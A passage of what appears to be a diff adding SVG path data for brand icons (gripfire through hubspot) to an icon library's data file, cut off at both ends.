5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z"], + "gripfire": [384, 512, [], "f3ac", "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z"], + "grunt": [384, 512, [], "f3ad", "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z"], + "guilded": [448, 512, [], "e07e", "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z"], + "gulp": [256, 512, [], "f3ae", "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z"], + "hacker-news": [448, 512, [], "f1d4", "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"], + "hacker-news-square": [448, 512, [], "f3af", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"], + "hackerrank": [512, 512, [], "f5f7", "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z"], + "hips": [640, 512, [], "f452", "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z"], + "hire-a-helper": [512, 512, [], "f3b0", "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z"], + "hive": [512, 512, [], "e07f", "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z"], + "hooli": [640, 512, [], "f427", "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z"], + "hornbill": [512, 512, [], "f592", "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z"], + "hotjar": [448, 512, [], "f3b1", "M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z"], + "houzz": [448, 512, [], "f27c", "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z"], + "html5": [384, 512, [], "f13b", "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z"], + "hubspot": [512, 512, [], "f3b2", "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 